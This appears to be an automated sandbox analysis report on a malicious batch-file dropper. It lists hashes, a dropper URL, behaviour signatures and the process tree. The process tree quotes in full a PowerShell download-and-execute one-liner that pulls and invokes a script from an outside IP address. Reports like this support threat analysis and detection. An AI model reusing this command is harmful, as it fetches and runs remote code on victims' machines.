Analysis

  • max time kernel
    136s
  • max time network
    98s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    10/07/2020, 20:10

General

  • Target
    2211aeb68404653c6a42054308cf95e6.bat
  • Size 219B
  • Sample200710-6pb5xw6kvx
  • SHA256 2311d76b97db37109d14a91f693f468810b9e530aa7f6a9d75dc827757054d6a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    http://185.103.242.78/pastes/2211aeb68404653c6a42054308cf95e6

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2211aeb68404653c6a42054308cf95e6.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2804
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/2211aeb68404653c6a42054308cf95e6');Invoke-LJICDRBAHEGJ;Start-Sleep -s 10000"
      2⤵
        PID:992
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 992 -s 704
          3⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          PID:1800

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1800-1-0x00000000050A0000-0x00000000050A1000-memory.dmp

          memory/1800-8-0x00000000056D0000-0x00000000056D1000-memory.dmp